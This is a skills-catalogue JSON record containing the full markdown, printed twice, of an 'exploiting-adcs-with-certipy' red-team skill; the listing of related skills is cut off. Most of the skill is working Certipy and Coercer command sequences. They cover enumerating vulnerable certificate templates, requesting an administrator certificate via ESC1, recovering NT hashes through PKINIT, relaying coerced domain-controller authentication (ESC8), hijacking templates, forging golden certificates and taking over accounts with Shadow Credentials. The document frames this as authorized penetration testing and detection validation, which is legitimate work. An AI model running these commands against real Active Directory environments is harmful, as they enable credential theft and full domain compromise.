[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEMPCNS29K0P2E6JJVNRTS":3,"skill-same:01M6AEMPCNS29K0P2E6JJVNRTS":118},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":62,"ownerHtmlUrl":63,"ownerBlogUrl":64,"ownerDescription":65,"updatedAt":66,"install":67,"resources":80},"01M6AEMPCNS29K0P2E6JJVNRTS","exploiting-adcs-with-certipy",null,"Use Certipy to enumerate AD CS certificate authorities and templates over LDAP\u002FRPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT\u002FSchannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-adcs-with-certipy\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"certipy","exploiting adcs with certipy","pkinit","cybersecurity","adcs","esc1","esc8","templates","escalation","hardening","privilege-escalation","web","directory","active-directory","red-team","admin","rpc","pr","validate","auth","2026-11-10 10:12:30",false,"---\nname: exploiting-adcs-with-certipy\ndescription: Use Certipy to enumerate AD CS certificate authorities and templates over LDAP\u002FRPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT\u002FSchannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- adcs\n- certipy\n- esc1\n- esc8\n- privilege-escalation\n- pkinit\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1649\n---\n# Exploiting AD CS with Certipy\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.\n\n## Overview\n\nActive Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper *Certified Pre-Owned*, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.\n\n**Certipy** (package `certipy-ad`, maintained by Oliver Lyak \u002F `ly4k`) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP\u002FRPC, requests and forges certificates, performs PKINIT\u002FSchannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: [ly4k\u002FCertipy](https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy) and [SpecterOps \"Certified Pre-Owned\"](https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf).\n\n## When to Use\n\n- During internal penetration tests and red-team engagements where AD CS is in scope\n- When a low-privileged domain foothold needs a path to Domain Admin \u002F Domain Controller\n- To validate that certificate template ACLs and CA configuration are hardened\n- When testing detection coverage for certificate-based privilege escalation\n- During purple-team exercises to generate ESC1\u002FESC8 telemetry for blue-team tuning\n\n## Prerequisites\n\n- Authorized engagement scope that explicitly includes AD CS exploitation\n- A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user\n- Network reachability to a Domain Controller (LDAP\u002F389, LDAPS\u002F636) and the CA host\n- Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host\n- Install Certipy:\n  ```bash\n  # Recommended isolated install\n  pipx install certipy-ad\n  # Or with pip\n  pip install certipy-ad\n  # Verify\n  certipy --version\n  ```\n- For ESC8 relay you also need a coercion tool (Coercer\u002FPetitPotam) and reachable victim machine accounts\n\n## Objectives\n\n- Enumerate every CA, template, and enrollment endpoint in the forest\n- Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal\n- Request a certificate impersonating a privileged target (ESC1 SAN abuse)\n- Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)\n- Authenticate with a forged\u002Fissued certificate to recover a TGT and NT hash\n- Document each finding with evidence and remediation guidance\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |\n\n## Workflow\n\n### Step 1: Enumerate AD CS with `certipy find`\nCollect CA and template configuration and flag vulnerable templates. `find` runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.\n\n```bash\n# Full enumeration, only enabled templates, hide built-in admin ACEs\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -text -enabled -hide-admins\n\n# Output only templates Certipy considers vulnerable\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n\n# Authenticate with an NT hash instead of a password\ncertipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n```\nReview the `[!] Vulnerabilities` block in the output. Each finding is labeled `ESC1`...`ESC16` with the affected template\u002FCA name.\n\n### Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)\nESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).\n\n```bash\ncertipy req \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \\\n    -ca 'CORP-CA' -template 'VulnUserTemplate' \\\n    -upn 'administrator@corp.local' \\\n    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'\n# -> saves administrator.pfx\n```\n\n### Step 3: Authenticate with the certificate via `certipy auth`\nUse the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.\n\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100\n# Output: a .ccache TGT and the recovered NT hash for administrator\n```\nIf PKINIT is unavailable, fall back to Schannel\u002FLDAP authentication:\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell\n```\n\n### Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment\nESC8 abuses the AD CS web enrollment interface (`\u002Fcertsrv\u002F`) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).\n\n```bash\n# Terminal 1: relay coerced auth into web enrollment, request a DC cert\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\nCertipy writes a `dc.pfx`. Authenticate as the DC machine account and DCSync:\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n```\n\n### Step 5: Exploit ESC4 — Template ACL hijack\nIf you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.\n\n```bash\n# Make the template vulnerable (save the original config first)\ncertipy template -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration\n# ... run Step 2 ESC1 request, then restore the saved configuration\n```\n\n### Step 6: Forge a Golden Certificate (post-compromise persistence)\nWith access to the CA's private key (e.g., via backup), forge certificates for any principal offline.\n\n```bash\n# Extract the CA certificate and private key from a compromised CA\ncertipy ca -backup -u 'admin@corp.local' -hashes :\u003Cnthash> \\\n    -ca 'CORP-CA' -dc-ip 10.0.0.100\n\n# Forge a certificate for any user using the CA key\ncertipy forge -ca-pfx 'CORP-CA.pfx' \\\n    -upn 'administrator@corp.local' \\\n    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'\n```\n\n### Step 7: Shadow Credentials shortcut\nIf you have write access to a target's `msDS-KeyCredentialLink`, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim-dc$'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Certipy (ly4k) | Primary AD CS attack toolkit | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Certipy Wiki | Command reference and ESC explanations | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\u002Fwiki |\n| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| The Hacker Recipes — AD CS | Attack walkthroughs | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fad-cs |\n| Impacket ntlmrelayx | Alternative ESC8 relay | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n\n## ESC Vulnerability Reference\n\n| ESC | Misconfiguration |\n|-----|------------------|\n| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |\n| ESC2 | Any Purpose \u002F no EKU template usable as enrollment agent |\n| ESC3 | Enrollment Agent template with loose enroll rights |\n| ESC4 | Write access over a template (hijack into ESC1) |\n| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |\n| ESC6 | CA `EDITF_ATTRIBUTESUBJECTALTNAME2` allows arbitrary SAN |\n| ESC7 | Dangerous `Manage CA` \u002F `Manage Certificates` permissions |\n| ESC8 | NTLM relay to AD CS HTTP web enrollment |\n| ESC9 | No security extension (`szOID_NTDS_CA_SECURITY_EXT`) on template |\n| ESC10 | Weak certificate mapping registry settings |\n| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |\n| ESC13 | Issuance policy linked to a privileged group (OID group link) |\n| ESC15 | Application Policies abuse (CVE-2024-49019, \"EKUwu\") |\n| ESC16 | Security extension disabled CA-wide |\n\n## Validation Criteria\n\n- [ ] `certipy find -vulnerable` ran and produced a list of exploitable templates\u002FCAs\n- [ ] At least one ESC misconfiguration confirmed with a successful `certipy req`\n- [ ] `certipy auth` returned a TGT and NT hash for the impersonated privileged account\n- [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate\n- [ ] Any modified template (ESC4) was restored to its original configuration\n- [ ] Each finding documented with command output, affected object, and remediation\n- [ ] Issued certificates and PFX files securely handled and removed at engagement close\n","# Exploiting AD CS with Certipy\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.\n\n## Overview\n\nActive Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper *Certified Pre-Owned*, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.\n\n**Certipy** (package `certipy-ad`, maintained by Oliver Lyak \u002F `ly4k`) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP\u002FRPC, requests and forges certificates, performs PKINIT\u002FSchannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: [ly4k\u002FCertipy](https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy) and [SpecterOps \"Certified Pre-Owned\"](https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf).\n\n## When to Use\n\n- During internal penetration tests and red-team engagements where AD CS is in scope\n- When a low-privileged domain foothold needs a path to Domain Admin \u002F Domain Controller\n- To validate that certificate template ACLs and CA configuration are hardened\n- When testing detection coverage for certificate-based privilege escalation\n- During purple-team exercises to generate ESC1\u002FESC8 telemetry for blue-team tuning\n\n## Prerequisites\n\n- Authorized engagement scope that explicitly includes AD CS exploitation\n- A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user\n- Network reachability to a Domain Controller (LDAP\u002F389, LDAPS\u002F636) and the CA host\n- Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host\n- Install Certipy:\n  ```bash\n  # Recommended isolated install\n  pipx install certipy-ad\n  # Or with pip\n  pip install certipy-ad\n  # Verify\n  certipy --version\n  ```\n- For ESC8 relay you also need a coercion tool (Coercer\u002FPetitPotam) and reachable victim machine accounts\n\n## Objectives\n\n- Enumerate every CA, template, and enrollment endpoint in the forest\n- Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal\n- Request a certificate impersonating a privileged target (ESC1 SAN abuse)\n- Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)\n- Authenticate with a forged\u002Fissued certificate to recover a TGT and NT hash\n- Document each finding with evidence and remediation guidance\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |\n\n## Workflow\n\n### Step 1: Enumerate AD CS with `certipy find`\nCollect CA and template configuration and flag vulnerable templates. `find` runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.\n\n```bash\n# Full enumeration, only enabled templates, hide built-in admin ACEs\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -text -enabled -hide-admins\n\n# Output only templates Certipy considers vulnerable\ncertipy find \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n\n# Authenticate with an NT hash instead of a password\ncertipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \\\n    -dc-ip 10.0.0.100 -vulnerable -stdout\n```\nReview the `[!] Vulnerabilities` block in the output. Each finding is labeled `ESC1`...`ESC16` with the affected template\u002FCA name.\n\n### Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)\nESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).\n\n```bash\ncertipy req \\\n    -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \\\n    -ca 'CORP-CA' -template 'VulnUserTemplate' \\\n    -upn 'administrator@corp.local' \\\n    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'\n# -> saves administrator.pfx\n```\n\n### Step 3: Authenticate with the certificate via `certipy auth`\nUse the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.\n\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100\n# Output: a .ccache TGT and the recovered NT hash for administrator\n```\nIf PKINIT is unavailable, fall back to Schannel\u002FLDAP authentication:\n```bash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell\n```\n\n### Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment\nESC8 abuses the AD CS web enrollment interface (`\u002Fcertsrv\u002F`) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).\n\n```bash\n# Terminal 1: relay coerced auth into web enrollment, request a DC cert\ncertipy relay -target 'http:\u002F\u002FCA.CORP.LOCAL' -template 'DomainController'\n\n# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)\ncoercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \\\n    -t 10.0.0.10 -l 10.0.0.50\n```\nCertipy writes a `dc.pfx`. Authenticate as the DC machine account and DCSync:\n```bash\ncertipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100\n```\n\n### Step 5: Exploit ESC4 — Template ACL hijack\nIf you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.\n\n```bash\n# Make the template vulnerable (save the original config first)\ncertipy template -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration\n# ... run Step 2 ESC1 request, then restore the saved configuration\n```\n\n### Step 6: Forge a Golden Certificate (post-compromise persistence)\nWith access to the CA's private key (e.g., via backup), forge certificates for any principal offline.\n\n```bash\n# Extract the CA certificate and private key from a compromised CA\ncertipy ca -backup -u 'admin@corp.local' -hashes :\u003Cnthash> \\\n    -ca 'CORP-CA' -dc-ip 10.0.0.100\n\n# Forge a certificate for any user using the CA key\ncertipy forge -ca-pfx 'CORP-CA.pfx' \\\n    -upn 'administrator@corp.local' \\\n    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'\n```\n\n### Step 7: Shadow Credentials shortcut\nIf you have write access to a target's `msDS-KeyCredentialLink`, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim-dc$'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Certipy (ly4k) | Primary AD CS attack toolkit | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| Certipy Wiki | Command reference and ESC explanations | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy\u002Fwiki |\n| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| The Hacker Recipes — AD CS | Attack walkthroughs | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fad-cs |\n| Impacket ntlmrelayx | Alternative ESC8 relay | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n\n## ESC Vulnerability Reference\n\n| ESC | Misconfiguration |\n|-----|------------------|\n| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |\n| ESC2 | Any Purpose \u002F no EKU template usable as enrollment agent |\n| ESC3 | Enrollment Agent template with loose enroll rights |\n| ESC4 | Write access over a template (hijack into ESC1) |\n| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |\n| ESC6 | CA `EDITF_ATTRIBUTESUBJECTALTNAME2` allows arbitrary SAN |\n| ESC7 | Dangerous `Manage CA` \u002F `Manage Certificates` permissions |\n| ESC8 | NTLM relay to AD CS HTTP web enrollment |\n| ESC9 | No security extension (`szOID_NTDS_CA_SECURITY_EXT`) on template |\n| ESC10 | Weak certificate mapping registry settings |\n| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |\n| ESC13 | Issuance policy linked to a privileged group (OID group link) |\n| ESC15 | Application Policies abuse (CVE-2024-49019, \"EKUwu\") |\n| ESC16 | Security extension disabled CA-wide |\n\n## Validation Criteria\n\n- [ ] `certipy find -vulnerable` ran and produced a list of exploitable templates\u002FCAs\n- [ ] At least one ESC misconfiguration confirmed with a successful `certipy req`\n- [ ] `certipy auth` returned a TGT and NT hash for the impersonated privileged account\n- [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate\n- [ ] Any modified template (ESC4) was restored to its original configuration\n- [ ] Each finding documented with command output, affected object, and remediation\n- [ ] Issued certificates and PFX files securely handled and removed at engagement close\n",{"name":5,"tags":49,"author":50,"domain":27,"license":15,"version":51,"nist_csf":52,"subdomain":54,"description":7,"mitre_attack":55},[38,37,28,24,29,30,34,26],"mahipal","1.0",[53],"PR.AA-05","red-teaming",[56],"T1649","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-adcs-with-certipy",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":68,"prompt":78,"zipAvailable":79},[69,72,75],{"tool":70,"command":71},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-adcs-with-certipy",{"tool":73,"command":74},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-adcs-with-certipy",{"tool":76,"command":77},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-adcs-with-certipy","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-adcs-with-certipy\u002FSKILL.md",true,[81,86,92,96,100,104,108,112],{"path":82,"resourceType":82,"resourceTypeDesc":83,"sizeBytes":84,"sourceHtmlUrl":85},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-adcs-with-certipy\u002FLICENSE",{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fapi-reference.md","REFERENCE","参考文档",3299,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-adcs-with-certipy\u002Freferences\u002Fapi-reference.md",{"path":93,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Ffiltering.md",10038,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fmatchms\u002Freferences\u002Ffiltering.md",{"path":97,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fimporting_exporting.md",10894,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fmatchms\u002Freferences\u002Fimporting_exporting.md",{"path":101,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fsimilarity.md",12974,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fmatchms\u002Freferences\u002Fsimilarity.md",{"path":105,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fstandards.md",1158,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-adcs-with-certipy\u002Freferences\u002Fstandards.md",{"path":109,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":110,"sourceHtmlUrl":111},"references\u002Fworkflows.md",22230,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fmatchms\u002Freferences\u002Fworkflows.md",{"path":113,"resourceType":114,"resourceTypeDesc":115,"sizeBytes":116,"sourceHtmlUrl":117},"scripts\u002Fagent.py","SCRIPT","脚本",5875,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-adcs-with-certipy\u002Fscripts\u002Fagent.py",[119,145,169,197,223,250],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":126,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[125],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[127,128,129,130,131,27,132,133,41,134,135,136,137,138,139,140,141,142,143,144],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":146,"name":147,"nameZh":6,"description":148,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":152,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[151],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[153,141,154,155,131,156,27,41,157,158,159,160,161,162,163,164,165,166,167,168],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":179,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or 